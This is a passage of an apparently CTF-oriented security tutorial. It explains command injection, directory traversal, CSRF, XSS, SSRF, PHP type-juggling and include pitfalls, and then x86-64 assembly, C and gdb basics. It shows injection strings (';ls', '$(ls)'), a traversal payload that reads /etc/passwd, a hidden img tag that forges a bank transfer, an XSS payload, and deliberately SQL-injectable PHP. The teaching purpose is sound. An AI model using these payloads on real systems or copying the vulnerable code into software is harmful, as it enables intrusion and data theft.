command is being terminated and the ls
command is being added on, the ls
command will be run in addition to the empty ping command!
This is the core concept behind command injection. The ls
command could of course be switched with another command (e.g. wget, curl, bash, etc.)
Command injection is a very common means of privelege escalation within web applications and applications that interface with system commands. Many kinds of home routers take user input and directly append it to a system command. For this reason, many of those home router models are vulnerable to command injection.
+;ls
$(ls)
ls
Directory Traversal is a vulnerability where an application takes in user input and uses it in a directory path.
+Any kind of path controlled by user input that isn't properly sanitized or properly sandboxed could be vulnerable to directory traversal.
+For example, consider an application that allows the user to choose what page to load from a GET parameter.
+<?php
+ $page = $_GET['page']; // index.php
+ include("/var/www/html/" . $page);
+?>
+
+Under normal operation the page would be index.php
. But what if a malicious user gave in something different?
<?php
+ $page = $_GET['page']; // ../../../../../../../../etc/passwd
+ include("/var/www/html/" . $page);
+?>
+
+Here the user is submitting ../../../../../../../../etc/passwd
.
This will result in the PHP interpreter leaving the directory that it is coded to look in ('/var/www/html') and instead be forced up to the root folder.
+include("/var/www/html/../../../../../../../../etc/passwd");
+
+Ultimately this will become /etc/passwd
because the computer will not go a directory above its top directory.
Thus the application will load the /etc/passwd
file and emit it to the user like so:
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
+systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
+systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
+systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
+_apt:x:104:65534::/nonexistent:/bin/false
+
+This same concept can be applied to applications where some input is taken from a user and then used to access a file or path or similar. This vulnerability very often can be used to leak sensitive data or extract application source code to find other vulnerabilities.
+A Cross Site Request Forgery or CSRF Attack, pronounced see surf, is an attack on an authenticated user which uses a state session in order to perform state changing attacks like a purchase, a transfer of funds, or a change of email address.
+The entire premise of CSRF is based on session hijacking, usually by injecting malicious elements within a webpage through an <img>
tag or an <iframe>
where references to external resources are unverified.
GET
requests are often used by websites to get user input. Say a user signs in to an banking site which assigns their browser a cookie which keeps them logged in. If they transfer some money, the URL that is sent to the server might have the pattern:
http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]
+
+Knowing this format, an attacker can send an email with a hyperlink to be clicked on or they can include an image tag of 0 by 0 pixels which will automatically be requested by the browser such as:
+<img src="http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]" width="0" height="0" border="0">
+
+Cross Site Scripting or XSS is a vulnerability where on user of an application can send JavaScript that is executed by the browser of another user of the same application.
+This is a vulnerability because JavaScript has a high degree of control over a user's web browser.
+For example JavaScript has the ability to:
+By combining all of these abilities, XSS can maliciously use JavaScript to extract user's cookies and send them to an attacker controlled server. XSS can also modify the DOM to phish users for their passwords. This only scratches the surface of what XSS can be used to do.
+XSS is typically broken down into three categories:
+Reflected XSS is when an XSS exploit is provided through a URL paramater.
+For example:
+https://ctf101.org?data=<script>alert(1)</script>
+
+You can see the XSS exploit provided in the data
GET parameter. If the application is vulnerable to reflected XSS, the application will take this data parameter value and inject it into the DOM.
For example:
+<html>
+ <body>
+ <script>alert(1)</script>
+ </body>
+</html>
+
+Depending on where the exploit gets injected, it may need to be constructed differently.
+Also, the exploit payload can change to fit whatever the attacker needs it to do. Whether that is to extract cookies and submit it to an external server, or to simply modify the page to deface it.
+One of the deficiencies of reflected XSS however is that it requires the victim to access the vulnerable page from an attacker controlled resource. Notice that if the data paramter, wasn't provided the exploit wouldn't work.
+In many situations, reflected XSS is detected by the browser because it is very simple for a browser to detect malicous XSS payloads in URLs.
+Stored XSS is different from reflected XSS in one key way. In reflected XSS, the exploit is provided through a GET parameter. But in stored XSS, the exploit is provided from the website itself.
+Imagine a website that allows users to post comments. If a user can submit an XSS payload as a comment, and then have others view that malicious comment, it would be an example of stored XSS.
+The reason being that the web site itself is serving up the XSS payload to other users. This makes it very difficult to detect from the browser's perspective and no browser is capable of generically preventing stored XSS from exploiting a user.
+DOM XSS is XSS that is due to the browser itself injecting an XSS payload into the DOM. While the server itself may properly prevent XSS, it's possible that the client side scripts may accidentally take a payload and insert it into the DOM and cause the payload to trigger.
+The server itself is not to blame, but the client side JavaScript files are causing the issue.
+Server Side Request Forgery or SSRF is where an attacker is able to cause a web application to send a request that the attacker defines.
+For example, say there is a website that lets you take a screenshot of any site on the internet.
+Under normal usage a user might ask it to take a screenshot of a page like Google, or The New York Times. But what if a user does something more nefarious? What if they asked the site to take a picture of http://localhost ? Or perhaps tries to access something more useful like http://localhost/server-status ?
+127.0.0.1 (also known as localhost or loopback) represents the computer itself. Accessing localhost means you are accessing the computer's own internal network. Developers often use localhost as a way to access the services they have running on their own computers.
+Depending on what the response from the site is the attacker may be able to gain additional information about what's running on the computer itself.
+In addition, the requests originating from the server would come from the server's IP not the attackers IP. Because of that, it is possible that the attacker might be able to access internal resources that he wouldn't normally be able to access.
+Another usage for SSRF is to create a simple port scanner to scan the internal network looking for internal services.
+PHP is one of the most used languages for back-end web development and therefore it has become a target by hackers. PHP is a language which makes it painful to be secure for most instances, making it every hacker's dream target.
+PHP is a C-like language which uses tags enclosed by <?php ... ?>
(sometimes just <? ... ?>
). It is inlined into HTML. A word of advice is to keep the php docs open because function names are strange due to the fact that the length of function name is used to be the key in PHP's internal dictionary, so function names were shortened/lengthened to make the lookup faster. Other things include:
$name
$$name
$_GET, $_POST, $_SERVER
<?php
+ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['email']) && isset($_POST['password'])) {
+ $db = new mysqli('127.0.0.1', 'cs3284', 'cs3284', 'logmein');
+ $email = $_POST['email'];
+ $password = sha1($_POST['password']);
+ $res = $db->query("SELECT * FROM users WHERE email = '$email' AND password = '$password'");
+ if ($row = $res->fetch_assoc()) {
+ $_SESSION['id'] = $row['id'];
+ header('Location: index.php');
+ die();
+ }
+ }
+?>
+<html>...
+
+This example PHP simply checks the POST data for an email and password. If the password is equal to the hashed password in the database, the use is logged in and redirected to the index page.
+The line email = '$email'
uses automatic string interpolation in order to convert $email into a string to compare with the database.
PHP will do just about anything to match with a loose comparison (==) which means things can be 'equal' (==) or really equal (===). The implicit integer parsing to strings is the root cause of a lot of issues in PHP.
+Expression | +gettype() | +empty() | +is_null() | +isset() | +boolean: if($x) |
+
---|---|---|---|---|---|
$x = ""; | +string | +TRUE | +FALSE | +TRUE | +FALSE | +
$x = null; | +NULL | +TRUE | +TRUE | +FALSE | +FALSE | +
var $x; | +NULL | +TRUE | +TRUE | +FALSE | +FALSE | +
$x is undefined | +NULL | +TRUE | +TRUE | +FALSE | +FALSE | +
$x = array(); | +array | +TRUE | +FALSE | +TRUE | +FALSE | +
$x = array('a', 'b'); | +array | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = false; | +boolean | +TRUE | +FALSE | +TRUE | +FALSE | +
$x = true; | +boolean | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = 1; | +integer | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = 42; | +integer | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = 0; | +integer | +TRUE | +FALSE | +TRUE | +FALSE | +
$x = -1; | +integer | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = "1"; | +string | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = "0"; | +string | +TRUE | +FALSE | +TRUE | +FALSE | +
$x = "-1"; | +string | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = "php"; | +string | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = "true"; | +string | +FALSE | +FALSE | +TRUE | +TRUE | +
$x = "false"; | +string | +FALSE | +FALSE | +TRUE | +TRUE | +
+ | TRUE | +FALSE | +1 | +0 | +-1 | +"1" | +"0" | +"-1" | +NULL | +array() | +"php" | +"" | +
---|---|---|---|---|---|---|---|---|---|---|---|---|
TRUE | +TRUE | +FALSE | +TRUE | +FALSE | +TRUE | +TRUE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +
FALSE | +FALSE | +TRUE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +TRUE | +TRUE | +FALSE | +TRUE | +
1 | +TRUE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
0 | +FALSE | +TRUE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +TRUE | +FALSE | +TRUE | +TRUE | +
-1 | +TRUE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +
"1" | +TRUE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
"0" | +FALSE | +TRUE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
"-1" | +TRUE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +
NULL | +FALSE | +TRUE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +TRUE | +FALSE | +TRUE | +
array() | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +TRUE | +FALSE | +FALSE | +
"php" | +TRUE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +
"" | +FALSE | +TRUE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +TRUE | +
+ | TRUE | +FALSE | +1 | +0 | +-1 | +"1" | +"0" | +"-1" | +NULL | +array() | +"php" | +"" | +
---|---|---|---|---|---|---|---|---|---|---|---|---|
TRUE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
1 | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
0 | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
-1 | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
"1" | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
"0" | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +
"-1" | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +FALSE | +
NULL | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +FALSE | +
array() | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +FALSE | +
"php" | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +FALSE | +
"" | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +FALSE | +TRUE | +
PHP has multiple ways to include other source files such as require, require_once and include. These can take a dynamic string such as require $_GET['page'] . ".php";
which is usually seen in templating.
PHP has its own URL scheme: php://...
and its main purpose is to filter output automatically. It can automatically remove certain HTML tags and can base64 encode as well.
$fp = fopen('php://output', 'w');
+stream_filter_append(
+ $fp,
+ 'string.strip_tags',
+ STREAM_FILTER_WRITE,
+ array('b','i','u'));
+fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
+/* <b>bolded text</b> enlarged to a level 1 heading */
+
+These filters can also be used on input such as:
+php://filter/convert.base64-encode/resource={file}
include
, file_get_contents()
, etc. support URLs including PHP stream filter URLs (php://
)include
normally evaluates any PHP code (in tags) it finds, but if it’s base64 encoded it can be used to leak sourceThere are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021.
+ +One of my friends loves Jiaran so, so much. I'm not so interested in Vtubers, but I do know vtubers would hide some flag
in web.
Now we have the chat page of fans: http://103.102.44.218:10003/
. Maybe you can find flag in this website.
Hint: as a fan web, the privilege check is broken.
+ +Rick is a famous scientist in our universe. One time he trapped himself into a pickle.
+Find some items to save Rick.
+http://103.102.44.218:10004/
If you want to find some hints from source, here it is: source.zip
+Seems this website is impossible to broken. But still, nothing can block you hackers from stealing the flag.
+https://81.68.223.245/
Here's the source code for you: source.zip
+ + + + + + + + +According to the @CTF101: https://ctf101.org/
+Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human readable format.
+Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.
+Machine Code or Assembly is code which has been formatted for direct execution by a CPU. Machine Code is the why readable programming languages like C, when compiled, cannot be reversed into source code (well Decompilers can sort of, but more on that later).
+Godbolt shows the differences in machine code generated by various compilers.
+For example, if we have a simple C++ function:
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ char c;
+ int fd = syscall(2, "/etc/passwd", 0);
+ while (syscall(0, fd, &c, 1)) {
+ putchar(c);
+ }
+}
+
+We can see the compilation results in some verbose instrucitons for the CPU:
+.LC0:
+ .string "/etc/passwd"
+main:
+ push rbp
+ mov rbp, rsp
+ sub rsp, 16
+ mov edx, 0
+ mov esi, OFFSET FLAT:.LC0
+ mov edi, 2
+ mov eax, 0
+ call syscall
+ mov DWORD PTR [rbp-4], eax
+.L3:
+ lea rdx, [rbp-5]
+ mov eax, DWORD PTR [rbp-4]
+ mov ecx, 1
+ mov esi, eax
+ mov edi, 0
+ mov eax, 0
+ call syscall
+ test rax, rax
+ setne al
+ test al, al
+ je .L2
+ movzx eax, BYTE PTR [rbp-5]
+ movsx eax, al
+ mov edi, eax
+ call putchar
+ jmp .L3
+.L2:
+ mov eax, 0
+ leave
+ ret
+
+This is a one way process for compiled languages as there is no way to generate source from machine code. While the machine code may seem unintelligble, the extremely basic functions can be interpreted with some practice.
+x86-64 or amd64 or i64 is a 64-bit Complex Instruction Set Computing (CISC) architecture. This basically means that the registers used for this architecture extend an extra 32-bits on Intel's x86 architecture. CISC means that a single instruction can do a bunch of diferent things at once such as memory accesses, register reads, etc. It is also a variable-length instruction set which means diferent instructions can be diferent sizes ranging from 1 to 16 bytes long. And finally x86-64 allows for multi-sized register access which means that you can access certain parts of a register which are diferent sizes.
+x86-64 registers behave similarly to other architectures. A key component of x86-64 registers is multi-sized access which means the register RAX can have its lower 32 bits accessed with EAX. The next lower 16 bits can be accessed with AX and the lowest 8 bits can be accessed with AL which allows for the compuler to make optimizations which boost program execution.
+x86-64 has plenty of registers to use including rax, rbx, rcx, rdx, rdi, rsi, rsp, rip, r8-r15, and more! But some registers serve special purposes.
+The special registers include: - RIP: the instruction pointer - RSP: the stack pointer - RBP: the base pointer
+An instruction represents a single operation for the CPU to perform.
+There are diferent types of instructions including:
+mov rax, [rsp - 0x40]
add rbx, rcx
jne 0x8000400
Because x86-64 is a CISC architecture, instructions can be quite complex for machine code such as repne scasb
which repeats up to ECX times over memory at EDI looking for NULL byte (0x00), decrementing ECX each byte (Essentially strlen() in a single instruction!)
It is important to remember that an instruction really is just memory, this idea will become useful with Return Oriented Programming or ROP.
+Note
+Instructions, numbers, strings, everything! Always represented in hex.
+add rax, rbx
+mov rax, 0xdeadbeef
+mov rax, [0xdeadbeef] == 67 48 8b 05 ef be ad de
+"Hello" == 48 65 6c 6c 6f
+== 48 01 d8
+== 48 c7 c0 ef be ad de
+
+What should the CPU execute? This is determined by the RIP register where IP means instruction pointer. Execution follows the pattern: fetch the instruction at the address in RIP, decode it, run it.
+mov rax, 0xdeadbeef
Here the operation mov
is moving the "immeadiate" 0xdeadbeef
into the register RAX
mov rax, [0xdeadbeef + rbx * 4]
Here the operation mov
is moving the data at the address of [0xdeadbeef + RBX*4]
into the register RAX
. When brackets are used, you can think of the program as getting the content from that effective address.
-> 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x0804000
+ 0x080400a: add, rax, rbx RAX = 0x0
+ 0x080400d: inc rbx RBX = 0x0
+ 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+-> 0x0804005: mov ebx, 0x1234 RIP = 0x0804005
+ 0x080400a: add, rax, rbx RAX = 0xdeadbeef
+ 0x080400d: inc rbx RBX = 0x0
+ 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x080400a
+-> 0x080400a: add, rax, rbx RAX = 0xdeadbeef
+ 0x080400d: inc rbx RBX = 0x1234
+ 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x080400d
+ 0x080400a: add, rax, rbx RAX = 0xdeadd123
+-> 0x080400d: inc rbx RBX = 0x1234
+ 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x0804010
+ 0x080400a: add, rax, rbx RAX = 0xdeadd123
+ 0x080400d: inc rbx RBX = 0x1235
+-> 0x0804010: sub rax, rbx RCX = 0x0
+ 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x0804013
+ 0x080400a: add, rax, rbx RAX = 0xdeadbeee
+ 0x080400d: inc rbx RBX = 0x1235
+ 0x0804010: sub rax, rbx RCX = 0x0
+-> 0x0804013: mov rcx, rax RDX = 0x0
+ 0x0804000: mov eax, 0xdeadbeef Register Values:
+ 0x0804005: mov ebx, 0x1234 RIP = 0x0804005
+ 0x080400a: add, rax, rbx RAX = 0xdeadbeee
+ 0x080400d: inc rbx RBX = 0x1235
+ 0x0804010: sub rax, rbx RCX = 0xdeadbeee
+ 0x0804013: mov rcx, rax RDX = 0x0
+
+How can we express conditionals in x86-64? We use conditional jumps such as:
+jnz <address>
je <address>
jge <address>
jle <address>
They jump if their condition is true, and just go to the next instruction otherwise. These conditionals are checking EFLAGS which are special registers which store flags on certain instructions such as add rax, rbx
which sets the o (overflow) flag if the sum is greater than a 64-bit register can hold, and wraps around. You can jump based on that with a jo
instruction. The most important thing to remember is the cmp instruction:
cmp rax, rbx
+jle error
+
+This assembly jumps if RAX <= RBX
+Memory acts similarly to a big array where the indices of this "array" are memory addresses. Remember from earlier:
+mov rax, [0xdeadbeef]
+
+The square brackets mean "get the data at this address". This is analagous to the C/C++ syntax: rax = *0xdeadbeef;
The C programming language iwas written by Dennis Ritchie in the 1970s while he was working at Bell Labs. It was first used to reimplement the Unix operating system which was purely written in assembly language. At first, the Unix developers were considering using a language called "B" but because B wasn't optimized for the target computer, the C language was created.
+C is the letter and the programming language after B!
+C was designed to be close to assembly and is still widely used in lower level programming where speed and control are needed (operating systems, embedded systems). C was also very influential to other programming langauges used today. Notable languages include C++, Objective-C, Golang, Java, JavaScript, PHP, Python, and Rust.
+C is an ancestor of many other programming languages and if you are familiar with programming, it's likely that C will be at least someewhat familiar.
+#include <stdio.h>
+int main()
+{
+ printf("Hello, World!");
+ return 0;
+}
+
+Today C is widely used either as a low level programming langauge or is the base language that other programming languages are implemented in.
+While it can be difficult to see, the C language compiles down directly into machine code. The compiler is programmed to process the provided C code and emit assembly that's targetted to whatever operating system and architecture the compiler is set to use.
+Some common compilers include:
+A good way to explore this relationship is to use this online GCC Explorer from Matt Godbolt.
+ +In regards to CTF, many reverse engineering and exploitation CTF challenges are written in C because the language compiles down directly to assembly and there are little to no safeguards in the language. This means developers must manually handle both. Of course, this can lead to mistakes which can sometimes lead to security issues.
+Other higher level langauges like Python manage memory and garbage collection for you. Google Golang was inspired by C but adds in functionality like garbage collection, and memory safety.
+There are some examples of famously vulnerable functions in C which are still available and can still result in vulnerabilities:
+gets
- Can result in buffer overflowsstrcpy
- Can result in buffer overflowsstrcat
- Can result in buffer overflowsstrcmp
- Can result in timing attacksC has four basic types:
+C uses an idea known as pointers. A pointer is a variable which contains the address of another variable.
+To understand this idea we should first understand that memory is laid out in terms of addresses and data gets stored at these addresses.
+Take the following example of defining an integer in C:
+int x = 4;
+
+To the programmer this is the variable x
receiving the value of 4. The computer stores this value in some location in memory. For example we can say that address 0x1000
now holds the value 4
. The computer knows to directly access the memory and retrieve the value 4
whenever the programmer tries to use the x
variable. If we were to say x + 4
, the computer would give you 8
instead of 0x1004
.
But in C we can retrieve the memory address being used to hold the 4 value (i.e. 0x1000) by using the &
character and using *
to create an "integer pointer" type.
int* y = &x;
+
+The y
variable will store the address pointed to by the x
variable (0x1000).
The *
character allows us to declare pointer variables but also allows us to access the value stored at a pointer. For example, entering *y
allows us to access the 4 value instead of 0x1000.
Whenever we use the y
variable we are using the memory address, but if we use the x variable we use the value stored at the memory address.
Arrays are a grouping of objects of the same type. They are typically created with the following syntax:
+type arrayName [ arraySize ];
+
+To initialize values in the array we can do:
+int integers[ 10 ] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
+
+Arrays allow programmers to group data into logical containers.
+To access the indiviual elements of an array we access the contents by their "index". Most programming langauges today start counting from 0. So to take our previous example:
+int integers[ 10 ] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
+/* indexes 0 1 2 3 4 5 6 7 8 9
+
+To access the value 6 we would use index 5:
+integers[5];
+
+Arrays are a clever combination of multiplication, pointers, and programming.
+Because the computer knows the data type used for every element in the array, the computer needs to simply multiply the size of the data type by the index you are looking for and then add this value to the address of the beginning of the array.
+For example if we know that the base address of an array is 1000 and we know that each integer takes 8 bytes, we know that if we have 8 integers right next to each other, we can get the integer at the 4th index with the following math:
+1000 + (4 * 8) = 1032
+array [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 ]
+index 0 1 2 3 4 5 6 7
+addrs 1000 1008 1016 1024 1032 1040 1048 1056
+
+A disassembler is a tool which breaks down a compiled program into machine code.
+The Interactive Disassembler (IDA) is the industry standard for binary disassembly. IDA is capable of disassembling "virtually any popular file format". This makes it very useful to security researchers and CTF players who often need to analyze obscure files without knowing what they are or where they came from. IDA also features the industry leading Hex Rays decompiler which can convert assembly code back into a pseudo code like format.
+ +IDA also has a plugin interface which has been used to create some successful plugins that can make reverse engineering easier:
+Binary Ninja is an up and coming disassembler that attempts to bring a new, more programmatic approach to reverse engineering. Binary Ninja brings an improved plugin API and modern features to reverse engineering. While it's less popular or as old as IDA, Binary Ninja (often called binja) is quickly gaining ground and has a small community of dedicated users and followers.
+ +Binja also has some community contributed plugins which are collected here: https://github.com/Vector35/community-plugins
+The GNU Debugger is a free and open source debugger which also disassembles programs. It's capable as a disassembler, but most notably it is used by CTF players for its debugging and dynamic analysis capabailities.
+gdb is often used in tandom with enhancement scripts like peda, pwndbg, and GEF
+ +The GNU Debugger or GDB is a powerful debugger which allows for step-by-step execution of a program. It can be used to trace program execution and is an important part of any reverse engineering toolkit.
+GDB without any modifications is unintuitive and obscures a lot of useful information. The plug-in pwndb solves a lot of these problems and makes for a much more pleasant experience. But if you are constrained and have to use vanilla gdb, here are several things to make your life easier.
+To execute GBD and attach it to a program simply run gdb [program]
(gdb) disassemble [address/symbol]
will display the disassembly for that function/frame
GDB will autocomplete functions, so saying (gdb) disas main
suffices if you'd like to see the disassembly of main
Another handy thing to see while stepping through a program is the disassembly of nearby instructions:
+(gdb) display/[# of instructions]i $pc [± offset]
+
+display
shows data with each step/[#]i
shows how much data in the format i for instruction$pc
means the pc, program counter, register[± offset]
allows you to specify how you would like the data offset from the current instruction(gdb) display/10i $pc - 0x5
+
+This command will show 10 instructions on screen with an offset from the next instruction of 5, giving us this display:
+ 0x8048535 <main+6>: lock pushl -0x4(%ecx)
+ 0x8048539 <main+10>: push %ebp
+=> 0x804853a <main+11>: mov %esp,%ebp
+ 0x804853c <main+13>: push %ecx
+ 0x804853d <main+14>: sub $0x14,%esp
+ 0x8048540 <main+17>: sub $0xc,%esp
+ 0x8048543 <main+20>: push $0x400
+ 0x8048548 <main+25>: call 0x80483a0 <malloc@plt>
+ 0x804854d <main+30>: add $0x10,%esp
+ 0x8048550 <main+33>: sub $0xc,%esp
+
+If for whatever reason, a view no long suits your needs simply call (gdb) info display
which will give you a list of active displays:
Auto-display expressions now in effect:
+Num Enb Expression
+1: y /10bi $pc-0x5
+
+Then simply execute (gdb) delete display 1
and your execution will resume without the display.
In order to view the state of registers with vanilla gdb, you need to run the command info registers
which will display the state of all the registers:
eax 0xf77a6ddc -142971428
+ecx 0xffe06b10 -2069744
+edx 0xffe06b34 -2069708
+ebx 0x0 0
+esp 0xffe06af8 0xffe06af8
+ebp 0x0 0x0
+esi 0xf77a5000 -142979072
+edi 0xf77a5000 -142979072
+eip 0x804853a 0x804853a <main+11>
+eflags 0x286 [ PF SF IF ]
+cs 0x23 35
+ss 0x2b 43
+ds 0x2b 43
+es 0x2b 43
+fs 0x0 0
+gs 0x63 99
+
+If you simply would like to see the contents of a single register, the notation x/x $[register]
where:
x/x
means display the address in hex notation$[register]
is the register code such as eax, rax, etc.These commands work with vanilla gdb as well.
+Setting breakpoints in GDB uses the format b*[Address/Symbol]
(gdb) b*main
: Break at the start(gdb) b*0x804854d
: Break at 0x804854d(gdb) b*0x804854d-0x100
: Break at 0x804844dAs before, in order to delete a view, you can list the available breakpoints using (gdb) info breakpoints
(don't forget about GDB's autocomplete, you don't always need to type out every command!) which will display all breakpoints:
Num Type Disp Enb Address What
+1 breakpoint keep y 0x0804852f <main>
+3 breakpoint keep y 0x0804864d <__libc_csu_init+61>
+
+Then simply execute (gdb) delete 1
Note
+GDB creates breakpoints chronologically and does NOT reuse numbers.
+What good is a debugger if you can't control where you are going? In order to begin execution of a program, use the command r [arguments]
similar to how if you ran it with dot-slash notation you would execute it ./program [arguments]
. In this case the program will run normally and if no breakpoints are set, you will execute normally. If you have breakpoints set, you will stop at that instruction.
(gdb) continue [# of breakpoints]
: Resumes the execution of the program until it finishes or until another breakpoint is hit (shorthand c
)(gdb) step[# of instructions]
: Steps into an instruction the specified number of times, default is 1 (shorthand s
)(gdb) next instruction [# of instructions]
: Steps over an instruction meaning it will not delve into called functions (shorthand ni
)(gdb) finish
: Finishes a function and breaks after it gets returned (shorthand fin
)Examining data in GDB is also very useful for seeing how the program is affecting data. The notation may seem complex at first, but it is flexible and provides powerful functionality.
+(gdb) x/[#][size][format] [Address/Symbol/Register][± offset]
+
+x/
means examine[#]
means how much[size]
means what size the data should be such as a word w (2 bytes), double word d (4 bytes), or giant word g (8 bytes)[format]
means how the data should be interpreted such as an instruction i, a string s, hex bytes x[Address/Symbol][± offset]
means where to start interpreting the data(gdb) x/x $rax
: Displays the content of the register RAX as hex bytes(gdb) x/i 0xdeadbeef
: Displays the instruction at address 0xdeadbeef(gdb) x/10s 0x893e10
: Displays 10 strings at the address(gdb) x/10gx 0x7fe10
: Displays 10 giant words as hex at the addressIf the program happens to be an accept-and-fork server, gdb will have issues following the child or parent processes. In order to specify how you want gdb to function you can use the command set follow-fork-mode [on/off]
If you would like to set data at any point, it is possible using the command set [Address/Register]=[Hex Data]
set $rax=0x0
: Sets the register rax to 0set 0x1e4a70=0x123
: Sets the data at 0x1e4a70 to 0x123A handy way to find the process's mapped address spaces is to use info proc map
:
Mapped address spaces:
+
+ Start Addr End Addr Size Offset objfile
+ 0x8048000 0x8049000 0x1000 0x0 /directory/program
+ 0x8049000 0x804a000 0x1000 0x0 /directory/program
+ 0x804a000 0x804b000 0x1000 0x1000 /directory/program
+ 0xf75cb000 0xf75cc000 0x1000 0x0
